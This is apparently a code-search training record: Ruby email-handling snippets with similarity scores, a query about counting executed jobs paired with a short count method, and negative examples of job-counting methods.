"def hired!(options={}) \n raise \"You need to specify from, subject and body\" unless options.key?(:from) || options.key?(:body) || options.key?(:subject)\n Pony.mail({:to => 'reddavis@gmail.com'}.merge(options))\n end",
"def send(id:, subject:, from:, html:, text:)\n request do\n response =\n connection.post(\"#{id}/send\",\n 'from' => from,\n 'subject' => subject,\n 'html' => html,\n 'text' => text)\n\n parse(response.body)\n end\n end",
"def new_request(name_, subject_, content_)\n @subject = subject_\n @name = name_\n @content = content_\n\n mail to: \"ahmetaslan1956@gmail.com\", subject: @subject\n #mail to: \"turgutfelek@gmail.com\", subject: @subject\n end",
"def message_data(recipients)\n {\n subject: subject,\n from_name: from_name,\n text: text,\n html: html,\n from_email: from_email,\n merge: use_merge_vars,\n }.merge(recipient_data(recipients)).delete_if{|key, value| value.blank?}.merge(global_merge_vars: global_merge_vars)\n end",
"def headers\n {\n :subject => \"Message from WebsiteOne\",\n :to => \"thomas@nocebo.se\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def plain_text_body\n\n return @plain_text_body unless @plain_text_body.nil?\n\n part = email.text_part || email.html_part || email\n @plain_text_body = Redmine::CodesetUtil.to_utf8(part.body.decoded, part.charset)\n\n # strip html tags and remove doctype directive\n @plain_text_body = ActionController::Base.helpers.strip_tags(@plain_text_body.strip) unless email.text_part\n @plain_text_body.sub! %r{^<!DOCTYPE .*$}, ''\n @plain_text_body\n\n end",
"def email_us(subject, body)\n unless ENV['RACK_ENV'] == 'development'\n recipient = \"The Awesome Team <openhsv@gmail.com>\"\n\n # First, instantiate the Mailgun Client with your API key\n mg_client = Mailgun::Client.new ENV['MAILGUN_PRIVATE']\n\n # Define your message parameters\n message_params = { from: 'postmaster@sandboxa148f93a5c5f4813a81365d1b873ee8f.mailgun.org',\n to: recipient,\n subject: subject,\n html: body,\n text: Nokogiri::HTML(body).text\n }\n\n # Send your message through the client\n mg_client.send_message 'sandboxa148f93a5c5f4813a81365d1b873ee8f.mailgun.org', message_params\n end # unless ENV['RACK_ENV'] == 'development'\n end",
"def headers\n {\n :subject => %(#{subject}),\n :to => %(\"#{cattery_name}\" <#{cattery_email}>),\n :from => %(\"Cat Linker\" <support@catlinker.com>),\n :reply_to => %(\"#{email_to_name(email)}\" <#{email}>)\n }\n end",
"def email_params\n params.require(:email).permit(:headers, :text, :html, :from, :to, :cc, :subject)\n end",
"def parsed_body(opts)\n file = File.open(File.dirname(__FILE__) + \"/email.html\", \"r\")\n content = file.read\n markdown = Yolo::Tools::Ios::ReleaseNotes.html\n\n content = content.gsub(\"YOLO.TITLE\",opts[:title])\n content = content.gsub(\"YOLO.CONTENT\",markdown)\n if opts[:ota_password] and opts[:ota_password].length > 0\n content = content.gsub(\"YOLO.PASSWORD\",\"<h3>Password</h3><hr><p>#{opts[:ota_password]}</p>\")\n else\n content = content.gsub(\"YOLO.PASSWORD\",\"\")\n end\n content = content.gsub(\"YOLO.LINK\",opts[:ota_url])\n content\n end",
"def request_mail(from_email, content_body, requestor_type)\n @content= content_body\n @sender = from_email\n @requestor_type = requestor_type\n mail from: from_email, to: 'contact@codemalaysia.com', subject: 'PFS general enquiry'\n end",
"def get_mail\n \n end",
"def to_mail\n mail = Mail.new\n unless(headers.nil?)\n mail.received headers['Received']\n mail.content_type headers['Content-Type']\n mail.content_transfer_encoding headers['Content-Transfer-Encoding']\n end\n mail.date date_time_sent unless date_time_sent.nil?\n mail.message_id internet_message_id unless internet_message_id.nil?\n mail.in_reply_to in_reply_to unless in_reply_to.nil?\n mail.references references unless references.nil?\n mail.subject subject unless subject.nil?\n mail.return_path = sender.email_address unless(sender.nil? || ! sender.respond_to?(:email_address))\n mail.to to_recipients.map {|r| r.email_address if r.respond_to?(:email_address) } unless to_recipients.nil?\n mail.cc cc_recipients.map {|r| r.email_address if r.respond_to?(:email_address) } unless cc_recipients.nil?\n mail.from from.email_address unless(from.nil? || ! from.respond_to?(:email_address))\n # Because the mail gem does not pass an object to the block there are some issues with using self\n msg = self\n if(body_type == \"HTML\")\n mail.html_part do\n body msg.body\n end\n mail.text_part do\n body Nokogiri::HTML(msg.body).content\n end\n else\n mail.text_part do\n body msg.body\n end\n end\n\n # add attachments\n if(self.has_attachments?)\n self.attachments.each do |att|\n if(att.is_a?(FileAttachment))\n mail.attachments[att.file_name] = Base64.decode64(att.content)\n end\n end\n end\n mail\n end",
"def to_email_text\n semantics = to_semantic_values\n body = []\n [ \"title\", \"part_of\", \"author\", \"contributor\",\n \"date\", \"isbn\", \"issn\", \"doi\" ].each do |field|\n if !semantics[field.to_sym].blank?\n value = semantics[field.to_sym]\n label = \"blacklight.email.text.#{field}\"\n body << I18n.t(label, value: value.join(\" \"))\n end\n end\n\n return body.join(\"\\n\") unless body.empty?\n end",
"def headers\n {\n :subject => 'Contact from completed from marincricketclub.com',\n :to => 'vish.dreamonus@gmail.com, jaideep.nair@gmail.com, nicklynam721@gmail.com',\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def headers\n {\n :subject => \"<#{subject}>\",\n :to => \"catchall.rails@gmail.com\",\n :from => \"CatchAll\",\n :reply_to => \"#{reply}\"\n }\n end",
"def inbound_email; end",
"def inbound_email; end",
"def send_email_text(cities)\n#text a return\n return\"<h2>Bonjour</h2>\n <p>Je m'appelle Charles Dacquay, je suis co-fondateur de lorganisme The Hacking Project qui propose une formation de dévelopeur web gratuite, ouverte à tous, sans restriction géographique, ni restriction de niveau.<br> Voici le lien de la formation s'appelle The Hacking Project (http://thehackingproject.org/).<br> la foramtion des baser sur la méthode du peer-learning : les étudiants sont répartie en petit groupes ou nous leur proposons la réaliation de projets concrets qui leur sont assignés chaque jours, sur lesquel ils travaillent et cherches des solution . Le projet du jour est d'envoyer des emails à nos élus locaux pour qu'ils nous aident à faire de The Hacking Project un nouveau format d'éducation gratuite.</p>\n <p>Nous vous contactons pour vous parler du projet, et vous dire que vous pouvez ouvrir une cellule à #{cities}, où vous pouvez former gratuitement 6 personnes (ou plus), qu'elles soient débutantes, ou confirmées.<br> Le modèle d'éducation de The Hacking Project n'a pas de limite en terme de nombre de moussaillons (c'est comme cela que l'on appelle les élèves), donc nous serions ravis de travailler avec #{cities} !</p>\n <p>Charles, co-fondateur de The Hacking Project pourra répondre à toutes vos questions : 06.95.46.60.80</p>\"\nend",
"def body\n body = <<-eot\nECFS - Email Filing\n<PROCEEDING> #{DOCKET}\n<DATE> #{@comment[:date]}\n<NAME> #{@comment[:name]}\n<ADDRESS1> #{@comment[:street]}\n<ADDRESS2>\n<CITY> #{@comment[:city]}\n<STATE> #{@comment[:state]}\n<ZIP> #{@comment[:zip]}\n<LAW-FIRM>\n<ATTORNEY>\n<FILE-NUMBER>\n<DOCUMENT-TYPE> CO\n<PHONE-NUMBER>\n<DESCRIPTION> Brief Comment\n<CONTACT-EMAIL> #{contact_email}\n<TEXT> #{@comment[:date]}\n\nMs. Marlene H. Dortch, Secretary\nFederal Communications Commission\n445 12th Street SW\nWashington, DC 20554\n\nRe: A National Broadband Plan for Our Future, GN Docket No. 09-51\n\nDear Ms. Dortch,\n#{@comment[:text]}\n\n eot\n end",
"def send_one_email_to(name, mail)\n email = @gmail.compose do\n to mail\n subject \"Apprentissage entre pairs + gratuité + code = The Hacking Project\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body get_the_email_html(name) #TODO faire pour toutes les villes du tableau -> suppose de lire les colonnes du tableau dans une boucle (ajouter un délai)\n end\n end\nemail.deliver!\nend",
"def headers\n {\n :subject => \"You have a new client interested in training!\",\n :to => \"FitCoach@tfithealthcoaching.com\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def create\n # {\"ToState\"=>\"IL\", \"FromState\"=>\"AZ\", \"AccountSid\"=>\"AC1afaeecf73a8e05e32c695eac213226c\", \"SmsMessageSid\"=>\"SM8a1e2f65484fa1bd45b6a37d72a145fe\", \"Body\"=>\"youre an idiot sometimes\", \"From\"=>\"+16234556356\", \"FromCity\"=>\"PHOENIX\", \"SmsStatus\"=>\"received\", \"FromZip\"=>\"85065\", \"FromCountry\"=>\"US\", \"To\"=>\"+18152165378\", \"ToCity\"=>\"KANKAKEE\", \"ToZip\"=>\"60914\", \"ToCountry\"=>\"US\", \"ApiVersion\"=>\"2010-04-01\", \"SmsSid\"=>\"SM8a1e2f65484fa1bd45b6a37d72a145fe\"}\n @incoming_text = IncomingText.new(params[:incoming_text])\n\n respond_to do |format|\n if @incoming_text.save\n format.html { redirect_to(@incoming_text, :notice => 'Incoming text was successfully created.') }\n format.xml { render :xml => @incoming_text, :status => :created, :location => @incoming_text }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @incoming_text.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def message_email(name, email, body)\n @name = name\n @email = email\n @body = body\n mail(:to => \"consigndotnyc@gmail.com\", :subject => \"New Message from CONSIGN.NYC\")\n end",
"def parse_mail(mail)\n\n @mail = mail\n\n unless mail.date.nil?\n self.sent_at = mail.date.strftime('%Y-%m-%d %H:%M:%S')\n end\n\n unless mail.from.nil?\n begin\n addrs = mail[:from].to_s\n addrs = EmailsHelper.split_preserving_quot(addrs, '\"', ',')\n self.from_address = addrs.join(Email::ADDRESS_SEPARATOR)\n rescue\n self.from_address = mail.from.join(Email::ADDRESS_SEPARATOR)\n end\n end\n\n unless mail.to.nil?\n begin\n addrs = mail[:to].to_s\n addrs = EmailsHelper.split_preserving_quot(addrs, '\"', ',')\n self.to_addresses = addrs.join(Email::ADDRESS_SEPARATOR)\n rescue\n self.to_addresses = mail.to.join(Email::ADDRESS_SEPARATOR)\n end\n end\n\n unless mail.cc.nil?\n begin\n addrs = mail[:cc].to_s\n addrs = EmailsHelper.split_preserving_quot(addrs, '\"', ',')\n self.cc_addresses = addrs.join(Email::ADDRESS_SEPARATOR)\n rescue\n self.cc_addresses = mail.cc.join(Email::ADDRESS_SEPARATOR)\n end\n end\n\n unless mail.bcc.nil?\n begin\n addrs = mail[:bcc].to_s\n addrs = EmailsHelper.split_preserving_quot(addrs, '\"', ',')\n self.bcc_addresses = addrs.join(Email::ADDRESS_SEPARATOR)\n rescue\n self.bcc_addresses = mail.bcc.join(Email::ADDRESS_SEPARATOR)\n end\n end\n\n unless mail.reply_to.nil?\n begin\n addrs = mail[:reply_to].to_s\n addrs = EmailsHelper.split_preserving_quot(addrs, '\"', ',')\n self.reply_to = addrs.join(Email::ADDRESS_SEPARATOR)\n rescue\n self.reply_to = mail.reply_to.join(Email::ADDRESS_SEPARATOR)\n end\n end\n\n self.subject = mail.subject\n\n # Email Body ###\n plain_part = (@mail.multipart?) ? ((@mail.text_part) ? @mail.text_part : nil) : nil\n html_part = (@mail.html_part) ? @mail.html_part : nil\n message_part = (plain_part || html_part)\n message_part ||= @mail unless @mail.multipart?\n\n if message_part.nil?\n self.message = ''\n else\n charset = @mail.header.charset\n charset = nil if !charset.nil? and (charset.casecmp('US-ASCII') == 0)\n\n charset ||= message_part.header.charset\n charset = nil if !charset.nil? and (charset.casecmp('US-ASCII') == 0)\n\n message = message_part.body.decoded\n unless charset.nil? or charset.empty?\n message.encode!(Encoding::UTF_8, charset, {:invalid => :replace, :undef => :replace, :replace => ' '})\n end\n self.message = message\n end\n end",
"def reply(content)\n @greeting = \"Hi\"\n @admin = content[:from]\n @contact = content[:to]\n @message = content[:message]\n mail to: content[:to].email, subject: \"RE: \"+content[:to].subject\n end",
"def create\n mail = Mail.new\n mail.from = params[:from]\n mail.to = params[:to]\n mail.cc = params[:cc]\n mail.subject = params[:subject]\n mail.delivery_method :smtp, ActionMailer::Base.smtp_settings\n\n text_part = Mail::Part.new\n text_part.body = params[:text]\n\n html_part = Mail::Part.new\n html_part.content_type = 'text/html; charset=UTF-8'\n html_part.body = simple_format(params[:text])\n\n mail.text_part = text_part\n mail.html_part = html_part\n\n mail.deliver\n\n flash[:notice] = \"Test email sent\"\n redirect_to new_test_email_path\n end",
"def plain_body\n mail&.plain_body\n end",
"def process_message_body\n @attachments = []\n if @mail.multipart?\n @body, @html = [], []\n scan_parts(@mail)\n @body = @body.join(\"\\n\")\n @html = @html.join(\"\\n\")\n else\n if @mail.content_type =~ /text\\/html/\n @html = @mail.body.to_s\n @body = ''\n else\n @body = @mail.body.to_s\n @html = ''\n end\n end\n\n @body = convert_to_utf8(@body)\n @html = convert_to_utf8(@html)\n end",
"def plain_text_body\n return @plain_text_body unless @plain_text_body.nil?\n\n parts = if (text_parts = email.all_parts.select {|p| p.mime_type == 'text/plain'}).present?\n text_parts\n elsif (html_parts = email.all_parts.select {|p| p.mime_type == 'text/html'}).present?\n html_parts\n else\n [email]\n end\n\n parts.reject! do |part|\n part.attachment?\n end\n\n @plain_text_body = parts.map do |p|\n body_charset = Mail::RubyVer.respond_to?(:pick_encoding) ?\n Mail::RubyVer.pick_encoding(p.charset).to_s : p.charset\n\n body = Redmine::CodesetUtil.to_utf8(p.body.decoded, body_charset)\n # convert html parts to text\n p.mime_type == 'text/html' ? self.class.html_body_to_text(body) : self.class.plain_text_body_to_text(body)\n end.join(\"\\r\\n\")\n\n @plain_text_body\n end",
"def create_email to, from, subject, message\n\n @from = from\n @to = to\n @subject = subject\n @message = message\n\n mail(to: to, subject: subject, from: from)\n end",
"def headers\n {\n :subject => \"Geld-Support Form\",\n :to => \"kobe@rouxbe.com\",\n :from => %(\"#{name}\" <#{email}>)\n }\nend",
"def cleaned_up_text_body(format = false)\n # http://stackoverflow.com/a/15098459\n caller = caller_locations(1,1)[0].label\n if caller == 'receive_issue' || caller == 'receive_issue_reply'\n html_body\n else\n super\n end\n rescue => e\n # log error\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"ERROR=#{e.message}\")\n RedmineHtmlMailHandler::HtmlMailHandlerLogger.write(:error, \"BACKTRACE=\\n#{e.backtrace.join(\"\\n\")}\")\n # raise error that can be catched by 'notify_invalid_mail_handler' plugin\n raise RedmineHtmlMailHandler::Error, e.message\n end",
"def email_body\n sponsor_name = @config.plan.sponsor_name\n message = 'Hi there!'\\\n '<br />'\\\n '<br />'\\\n \"#{sponsor_name} has run their payroll. Please download the relevant reports below.\"\\\n '<br />'\\\n '<br />'\n message\n end",
"def carving_and_marking_part_4_email_body\n %(<div>VESSEL NAME: #{@submission.vessel}</div>\n <div>Please find enclosed the Carving and Marking Note for the above vessel.\n <br><br>A Commercial Bareboat Charter Carving and Marking Note must be\n signed by an Inspector of Marks/Authorised Measurer\n\n <br><br>Regulation 35 of the Merchant Shipping (Registration of Ships)\n Regulations 1993 states that a carving and marking note should be\n returned completed to the Registrar within three months.\n\n <br><br>[FREE TEXT]\n <br><br>We also require the following documents:\n <br><br>[FREE TEXT]\n <br><br>The documents can be emailed to:\n Commercial vessels: comm.registry@mcga.gov.uk\n <br><br>\n Alternatively, please post to:\n MCA\n Anchor Court\n Keen Road\n Cardiff\n CF24 5JW\n\n <br><br>\n Please do not hesitate to contact us you require any further assistance.\n </div>)\n end",
"def message_me(msg)\n @msg = msg\n mail subject: \"From: #{@msg.name} : #{@msg.email} says : #{@msg.subject}\", body: \"From: #{@msg.name} @ #{@msg.email} | Subject: #{@msg.subject} | Body of email : #{@msg.content}\"\n #@msg.content << \"From : #{@msg.name} :: Subject : #{@msg.subject}\" # previous one\n end",
"def mail_box; end",
"def headers \n \t{\n \t:subject => \"Contact Form\",\n \t:to => \"hermanwhatts@gmail.com\",\n \t#fills out from with the information of person from the contact form\n \t:from => %(\"#{name}\" <#{email}>)\n }\n end",
"def carving_and_marking_part_2_email_body\n %(<div>VESSEL NAME: #{@submission.vessel}</div>\n <div>Please find enclosed the Carving and Marking Note for the above vessel.\n <br><br>Please arrange for an MCA surveyor or Authorised Surveyor/Inspector\n of Marks to certify that the Carving and Markings are correct and return\n the form to this office.\n <br><br>Regulation 35 of the Merchant Shipping (Registration of Ships)\n Regulations 1993 states that a carving and marking note should be\n returned to the Registrar within three months.\n <br><br>We also require the following documents:\n\n <br>• Certificate of Measurement/Survey – Completed by a\n MCA Surveyor/Authorised Surveyor\n <br>• Valid Safety Certificate – Completed by a\n MCA surveyor\n <br>• [ITC 69 issued by Authorised Measurer] –\n [delete if not required (for over 24m only)]\n\n <br><br>\n Please do not hesitate to contact us you require any further assistance.\n </div>)\n end",
"def follow_up_alert(email, name, body, body_part2, location_link)\n @name = name \n @body = body\n @body_part2 = body_part2\n @location_link = location_link\n\n mail to: email, subject: \"Follow-up info from Grapevine\", from: \"erik@pickgrapevine.com\", reply_to: \n \"erik@pickgrapevine.com\"\n\n end",
"def message\n if subject && !subject.empty?\n subject + \"\\n\" + body\n else\n body\n end\n end",
"def mail; end",
"def page(message, url)\n recipients message.recipients\n from ADMIN_EMAIL\n subject message.subject\n body :message => message, :url => url\n end",
"def headers\n {\n :subject => \"New Enquiry\",\n :to => \"info@webuyanystairlift.org.uk\",\n :from => %(\"#{title} #{first_name} #{last_name}\")\n }\n end",
"def user_message(recip, from, from_name, message)\n recipients recip\n from from\n subject \"Message from Weefolio User #{from_name}\"\n sent_on Time.now\n body message\n end",
"def headers\n {\n :subject => %(#{subject}),\n :to => Contact.first.email,\n :body => %(#{message}),\n :from => %(\"#{email}\")\n }\n end",
"def body_content\n end",
"def headers\n {\n :subject => \"Tweechable Contact\",\n :to => \"tweechable@gmail.com\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def headers\n {\n :subject => \"Contact ULAP Research\",\n :to => \"ulap.research@gmail.com\",\n :from => %(\"#{name}\" <#{email}>)\n }\n end",
"def message_body(subscription_count, presenters, batch_subscriptions, batch_emails)\n return @message_body if @message_body\n return nil unless subscription_count > BATCH_SIZE\n\n message = SubscriptionMailer.public_inspection_document_mailing_list(\n presenters,\n batch_subscriptions,\n nil,\n batch_emails\n )\n @message_body = {html: message.html_part.body, text: message.text_part.body}\n end",
"def to_mail( str )\n\tstr.dup\nend",
"def headers\r\n {\r\n :subject => \"My Contact Form\",\r\n :to => \"alama.tounkara@gmail.com\",\r\n :from => %(\"#{name}\" <#{email}>)\r\n }\r\n end",
"def deliver_rts email, documents, mail_to\n logger.info \"Sending response mail to #{mail_to}\"\n mail = Mail.new\n mail.from @cfg[:from]\n mail.to mail_to\n # CCs to the original email will get a copy of the converted files as well\n mail.cc (email.cc - email.to - (@cfg[:cc_blacklist]||[]) ) if email.cc # Prevent autoheathen infinite loop!\n # Don't prepend yet another Re:\n mail.subject \"#{'Re: ' unless email.subject.start_with? 'Re:'}#{email.subject}\"\n # Construct received path\n # TODO: is this in the right order?\n #rcv = \"by localhost(autoheathen); #{Time.now.strftime '%a, %d %b %Y %T %z'}\"\n #[email.received,rcv].flatten.each { |rec| mail.received rec.to_s }\n mail.return_path email.return_path if email.return_path\n mail.header['X-Received'] = email.header['X-Received'] if email.header['X-Received']\n documents.each do |doc|\n next if doc[:content].nil?\n mail.add_file filename: doc[:filename], content: doc[:content]\n end\n cfg = @cfg # stoopid Mail scoping\n me = self # stoopid Mail scoping\n mail.text_part do\n s = Haml::Engine.new( me.read_file cfg[:text_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.html_part do\n content_type 'text/html; charset=UTF-8'\n s = Haml::Engine.new( me.read_file cfg[:html_template] ).render(Object.new, to: mail_to, documents: documents, cfg: cfg)\n body s\n end\n mail.delivery_method :smtp, address: @cfg[:mail_host], port: @cfg[:mail_port]\n deliver mail\n end",
"def raw_mail_params\n params.require(:raw_mail).permit(:email_from, :email_body, :email_subject)\n end",
"def submission(recipient, subject, name, project_id, field_code, date_submitted, shipping_date, sent_at = Time.now)\n @subject = subject\n @recipients = recipient\n @from = 'info@nrdpfc.ca'\n @reply_to ='info@nrdpfc.ca'\n @sent_on = sent_at\n @body[\"name\"] = name\n @body[\"email\"] = recipient\n @body[\"project_id\"] = project_id\n @body[\"field_code\"] = field_code\n @body[\"date_submitted\"] = date_submitted\n @body[\"shipping_date\"] = shipping_date\n \n @headers = {content_type => 'text/html'}\n end",
"def scan(mhead, mbody)\n return nil unless mhead['from'] =~ /postmaster[@](?:biglobe|inacatv|tmtv|ttv)[.]ne[.]jp/\n return nil unless mhead['subject'].start_with?('Returned mail:')\n\n dscontents = [Sisimai::Bite.DELIVERYSTATUS]\n hasdivided = mbody.split(\"\\n\")\n rfc822list = [] # (Array) Each line in message/rfc822 part string\n blanklines = 0 # (Integer) The number of blank lines\n readcursor = 0 # (Integer) Points the current cursor position\n recipients = 0 # (Integer) The number of 'Final-Recipient' header\n v = nil\n\n while e = hasdivided.shift do\n if readcursor == 0\n # Beginning of the bounce message or delivery status part\n if e == StartingOf[:message][0]\n readcursor |= Indicators[:deliverystatus]\n next\n end\n end\n\n if (readcursor & Indicators[:'message-rfc822']) == 0\n # Beginning of the original message part\n if e == StartingOf[:rfc822][0]\n readcursor |= Indicators[:'message-rfc822']\n next\n end\n end\n\n if readcursor & Indicators[:'message-rfc822'] > 0\n # After \"message/rfc822\"\n if e.empty?\n blanklines += 1\n break if blanklines > 1\n next\n end\n rfc822list << e\n else\n # Before \"message/rfc822\"\n next if (readcursor & Indicators[:deliverystatus]) == 0\n next if e.empty?\n\n # This is a MIME-encapsulated message.\n #\n # ----_Biglobe000000/00000.biglobe.ne.jp\n # Content-Type: text/plain; charset=\"iso-2022-jp\"\n #\n # ----- The following addresses had delivery problems -----\n # ********@***.biglobe.ne.jp\n #\n # ----- Non-delivered information -----\n # The number of messages in recipient's mailbox exceeded the local limit.\n #\n # ----_Biglobe000000/00000.biglobe.ne.jp\n # Content-Type: message/rfc822\n #\n v = dscontents[-1]\n\n if cv = e.match(/\\A([^ ]+[@][^ ]+)\\z/)\n # ----- The following addresses had delivery problems -----\n # ********@***.biglobe.ne.jp\n if v['recipient']\n # There are multiple recipient addresses in the message body.\n dscontents << Sisimai::Bite.DELIVERYSTATUS\n v = dscontents[-1]\n end\n\n r = Sisimai::Address.s3s4(cv[1])\n if Sisimai::RFC5322.is_emailaddress(r)\n v['recipient'] = r\n recipients += 1\n end\n else\n next if e =~ /\\A[^\\w]/\n v['diagnosis'] ||= ''\n v['diagnosis'] << e + ' '\n end\n end\n end\n return nil unless recipients > 0\n\n dscontents.each do |e|\n e['agent'] = self.smtpagent\n e['diagnosis'] = Sisimai::String.sweep(e['diagnosis'])\n\n MessagesOf.each_key do |r|\n # Verify each regular expression of session errors\n next unless MessagesOf[r].any? { |a| e['diagnosis'].include?(a) }\n e['reason'] = r.to_s\n break\n end\n end\n\n rfc822part = Sisimai::RFC5322.weedout(rfc822list)\n return { 'ds' => dscontents, 'rfc822' => rfc822part }\n end",
"def headers\r\n {\r\n :subject => \"JP Health Insurance Contact Form\",\r\n :to => [\"contact@jpfinancialgroupllc.com\", \"chamiesemarion@gmail.com\", \"cc@ccevans.com\"],\r\n :from => %(\"#{name}\" <#{email}>)\r\n }\r\n end",
"def send_to_friend(params, template, record = nil)\n ActivityScore.boost_score(record, :email) if (record.class == Story)\n setup_email(:recipients => params[:to],\n :from => \"\\\"#{params[:from_name]}\\\"<#{params[:from]}>\",\n :from_name => params[:from_name],\n :body => render_message(\"mailer/send_to_friend/#{template}\", :record => record, :recipient => params[:to], :page =>params[:page], :body => params[:body]))\n @subject = \"#{params[:from_name]} sent you a link to #{APP_NAME}\"\n end",
"def mailto_body_template\n Liquid::Template.parse(File.read(File.join(@options[:templates], \"mailto_body.liquid\")))\n end",
"def newsletter(user, subject, text)\n @user = user\n @text = text\n\n mail(to: user.email, subject: subject)\n end",
"def build_message\n @subject = RecipientsFor::Subject.new\n @content = RecipientsFor::Content.new\n end"
] |
[
"0.6804704",
"0.6636342",
"0.65403074",
"0.6389122",
"0.63403755",
"0.62637204",
"0.62552553",
"0.62497425",
"0.6245839",
"0.62403935",
"0.62262183",
"0.6213947",
"0.6189636",
"0.61792547",
"0.61617196",
"0.61387056",
"0.6089187",
"0.6070136",
"0.6063946",
"0.6057002",
"0.60491854",
"0.60422885",
"0.6030721",
"0.6020253",
"0.6004721",
"0.6001471",
"0.5991167",
"0.5984035",
"0.5983238",
"0.5972596",
"0.5970142",
"0.5946104",
"0.5942156",
"0.5941895",
"0.5938178",
"0.5937756",
"0.5933845",
"0.5927194",
"0.59258825",
"0.59244484",
"0.59015894",
"0.58890843",
"0.5876461",
"0.5872299",
"0.5859937",
"0.5856364",
"0.58560264",
"0.5845247",
"0.58445233",
"0.5839642",
"0.5835165",
"0.5832906",
"0.5816261",
"0.5815688",
"0.58128405",
"0.5810853",
"0.58096296",
"0.58096296",
"0.5805652",
"0.57992315",
"0.5798808",
"0.5795978",
"0.5790056",
"0.5788532",
"0.5785708",
"0.5772596",
"0.57663333",
"0.57602924",
"0.5758807",
"0.574722",
"0.5738803",
"0.57283354",
"0.5724143",
"0.5722764",
"0.5722224",
"0.5720824",
"0.5720369",
"0.5718342",
"0.5717074",
"0.5716461",
"0.5711845",
"0.5707102",
"0.5706892",
"0.5701572",
"0.5695021",
"0.5680651",
"0.56804526",
"0.5677977",
"0.5671962",
"0.56716037",
"0.5666489",
"0.56625456",
"0.5658921",
"0.5656483",
"0.5655189",
"0.5654104",
"0.56509537",
"0.5650777",
"0.5646982",
"0.56433636",
"0.56394506"
] |
0.0
|
-1
|
Fetch the number of jobs executed.
|
def count
self.class.count(self)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pending_job_count\n\n @pending_jobs.size\n end",
"def njobs\n @njobs.to_i\n end",
"def njobs\n @pool.njobs\n end",
"def cron_job_count\n\n @cron_jobs.size\n end",
"def get_job_count(type='scanner')\n job_count = 0\n framework.jobs.each do |k, j|\n if j.name =~ /#{type}/\n job_count = job_count + 1\n end\n end\n return job_count\n end",
"def complete_check_count\r\n check_number = []\r\n self.jobs.each do |job|\r\n if job.job_status = JobStatus::COMPLETED\r\n check_number << job.check_number\r\n end\r\n end\r\n check_number.uniq!\r\n if check_number.nil?\r\n return 0\r\n else\r\n return check_number.size\r\n end\r\n end",
"def jobs_performed\n Resque.redis.get(jobs_performed_key).to_i\n end",
"def at_job_count\n\n @non_cron_jobs.values.select { |j| j.class == AtJob }.size\n end",
"def total_check_count\r\n check_number = []\r\n self.jobs.each do |job|\r\n if job.parent_job_id.blank?\r\n check_number << job.check_number\r\n end\r\n end\r\n check_number.uniq!\r\n if check_number.nil?\r\n return 0\r\n else\r\n return check_number.size\r\n end\r\n end",
"def executions_count\n aj_count = serialized_params.fetch('executions', 0)\n # The execution count within serialized_params is not updated\n # once the underlying execution has been executed.\n if status.in? [:discarded, :succeeded, :running]\n aj_count + 1\n else\n aj_count\n end\n end",
"def method()\n @workers.size\n end",
"def every_job_count\n\n @non_cron_jobs.values.select { |j| j.class == EveryJob }.size\n end",
"def queue_count()\n cnt = 0\n @tasks.each_value { |task| cnt += task.queue_count() }\n cnt\n end",
"def num_child_jobs\n @gapi.statistics.num_child_jobs || 0\n end",
"def images_count\r\n images_count = 0\r\n jobs.each do |job|\r\n images_count += job.images_for_jobs.count\r\n end\r\n images_count\r\n end",
"def scheduled_task_count\n @executor.getTaskCount\n end",
"def last_job_number\n @jobs.length\n end",
"def completed_task_count\n @executor.getCompletedTaskCount\n end",
"def worker_count\n @action == 'run' ? 1 : workers\n end",
"def execution_count\n flow_entry_count\n end",
"def count\n run.count\n end",
"def count_jobs\n \tself.bugs.bug_has_closed.count\n end",
"def worker_count()\n @workers.size\n end",
"def worker_count()\n @workers.size\n end",
"def execution_count\n diva_algorithm = DivaServicesApi::Algorithm.by_id(self.diva_id)\n if diva_algorithm\n diva_algorithm.executions\n else\n 0\n end\n end",
"def queued_build_count\n response = get('buildQueue')\n response.count\n end",
"def num_results(_args = {})\n @num_results ||= result_ids&.count || 0\n end",
"def num_waiting\n @waiting.size\n end",
"def num_waiting\n @waiting.size\n end",
"def quantity\n @task_worker_lock.synchronize {@task_workers.size}\n end",
"def task_count()\n @tasks.size\n end",
"def tasks_total_count\n tasks.length\n end",
"def execution_count(days=30)\n latest_executions(days).count\n end",
"def fetch_count\n if refresh_cache?\n execute_count\n elsif cached.is_a?(AridCache::CacheProxy::Result)\n cached.has_count? ? cached.count : execute_count\n elsif cached.is_a?(Fixnum)\n cached\n elsif cached.respond_to?(:count)\n cached.count\n else\n cached # what else can we do? return it\n end\n end",
"def get_total_image_page_count\r\n total_page_count = 0\r\n images_for_jobs.each do |images_for_job|\r\n total_page_count += images_for_job.page_count.to_i\r\n end\r\n total_page_count\r\n end",
"def applied_count(job)\n job.applied_jobs.where(status: 0).count +\n job.applied_jobs.where(status: 3).count\n end",
"def count\n load\n @result_count\n end",
"def result_count\n result_ids.size\n end",
"def thread_count\n @worker_threads_count.value\n end",
"def number_of_resources_launched(login=nil)\n count_by_frbr(login, :launches, :how_many_resources?) \n end",
"def queue_count()\n cnt = 0\n @flows.each_value { |f| cnt += f.queue_count() }\n cnt\n end",
"def retrieved_records\n results.count\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
"def number_of_pages job\n count = 0\n pages = job.client_images_to_jobs.length\n if (@facility.image_type == 1) && (pages < 2)\n job.images_for_jobs.each do |image|\n path = Dir.glob(\"#{@location}/**/#{image.filename}\").first\n count += %x[identify #{path}].split(image.filename).length-1 rescue nil #command for retrieve number of pages in a tiff file (multi/single)\n end\n pages = count\n end\n pages\n end",
